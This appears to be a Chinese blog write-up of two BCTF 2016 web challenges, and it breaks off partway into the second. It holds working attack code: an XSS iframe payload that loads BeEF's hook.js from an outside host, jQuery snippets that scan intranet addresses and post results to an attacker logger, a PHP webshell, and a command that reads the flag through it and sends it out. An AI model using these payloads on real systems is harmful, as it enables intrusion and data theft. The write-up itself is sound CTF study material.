前两天打了bctf2016,结果做到最后都没想明白web题目的思路,而且20多道题目,却只有2道web题Orz,真是不给web狗活路,web狗这年头要转型misc了…
web
qaq (iframe标签跨域 CORS内网)
hint1: What else can XSS do? Just steal cookies? Secret in intranet,hack harder guys! hint2: CORS headers
现在能搜到的只有一篇从ctftime上找到的外国人的writeuphttps://github.com/raccoons-team/ctf/tree/master/2016-03-19-bctf/web-350-QAQ
打开题目首先是一个大大的留言板,那基本应该没什么别的了,先尝试bypass xss filter吧。
稍微测试了一下常见的标签都被过滤了,还剩下<iframe><link>
link标签只能用来csrf,那应该没错就是ifreame标签了。
我自己使用的是常规的调用方式
代码语言:javascript复制<iframe src="http://youdomain/xxx.php">
在php文件中写入<script>
就可以执行所需要的js了。
而老外用的是iframe的onload的属性,(如果我没记错的话会被chrome filter拦截)…
代码语言:javascript复制<iframe onload='
var sc = document.createElement("scr" "ipt");
sc.type = "text/javascr" "ipt";
sc.src = "http://1.2.3.4/js/hook.js";
document.body.appendChild(sc);
'
/>
通过上面的代码,成功使用domxss创造了
代码语言:javascript复制<script type="text/javascript" src="http://1.2.3.4/js/hook.js"></script>
这样一来就可以执行任意的js,当我们提交后,后来管理员就会审核。
上面的老外使用的是beEF框架的hook.js来和服务器沟通,发现大概5秒左右会断开。
题目第一个提示告诉我们秘密在内网中,那么我们需要扫一下host,从beEF中,我们可以看到
代码语言:javascript复制127.0.0.1 localhost Linux
172.17.0.1 Linux
192.168.1.3 Linux
然后检查下hosts中的附近ip,这里老外是用的jquery的请求
代码语言:javascript复制jQuery.get( "http://192.168.1.1", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.1"} );
});
jQuery.get( "http://192.168.1.2", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.2"} );
});
jQuery.get( "http://192.168.1.3", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.3"} );
});
jQuery.get( "http://192.168.1.4", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.4"} );
});
jQuery.get( "http://192.168.1.5", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.5"} );
});
jQuery.get( "http://172.17.0.1", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.1"} );
});
jQuery.get( "http://172.17.0.2", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.2"} );
});
jQuery.get( "http://172.17.0.3", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.3"} );
});
jQuery.get( "http://172.17.0.4", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.4"} );
});
jQuery.get( "http://172.17.0.5", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.5"} );
});
在http://1.2.3.4/app_dev.php这样写
代码语言:javascript复制<?php
$file = fopen("file.txt", "a");
fwrite($file, "nnn". $_POST['x']);
fclose($myfile);
测试发现172.17.0.2存在
那么先请求一下172.17.0.2试试看,发现返回
代码语言:javascript复制<html>
<body>
=.=
webdog
webshell
=.=
<!--
header("Access-Control-Allow-Origin: *");
$ztz= 'system';
ob_start($ztz);
echo $_GET[c];
ob_end_flush();
or
$ztz = new ReflectionFunction("system");
echo $ztz->invokeArgs(array("$_GET[c]"));
-->
</body>
</html>
发现存在一个php shell通过$_GET[c];
那么ls一下发现
代码语言:javascript复制fl4g
index.php
index.php
看到flag了,cat一下
代码语言:javascript复制jQuery.get( "http://172.17.0.2/?c=cat fl4g", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: data} );
});
get!
homework
找了一段时间没有找到writeup,只找到一个朋友写的,但是是还没有getflag版,但是还是能得到很多东西。
http://www.isecer.com/ctf/bctf-2016-log-for-homework.html
1、hint1: source code can be leaked. 2、hint2: version control 3、hint3: hack the server
首先就是一个大坑,hints说有源码泄露还有版本控制,第一反应就是.git,但是并没有,后来想到以前在下老外写的githack工具的时候还看到别的几个版本的爬源码工具,打开发现真的有爬.hg的。
https://github.com/kost/dvcs-ripper
发现/index.php和/admin/read.php可能存在漏洞
index.php中有过滤函数
代码语言:javascript复制function stripStr($str) {
$str=str_ireplace("'","",$str);
$str=str_ireplace('"',"",$str);
$str=str_ireplace('&',"",$str);
$str=str_ireplace('#',"",$str);
$str=str_ireplace(';',"",$str);
$str=str_ireplace(',',"",$str);
$str=str_ireplace(':',"",$str);
$str=str_ireplace('`',"",$str);
$str=str_ireplace('(',"",$str);
$str=str_ireplace(')',"",$str);
$str=str_ireplace('[',"",$str);
$str=str_ireplace(']',"",$str);
$str=str_ireplace('\',"",$str);
$str=str_ireplace('r',"",$str);
$str=str_ireplace('n',"",$str);
$str=str_ireplace('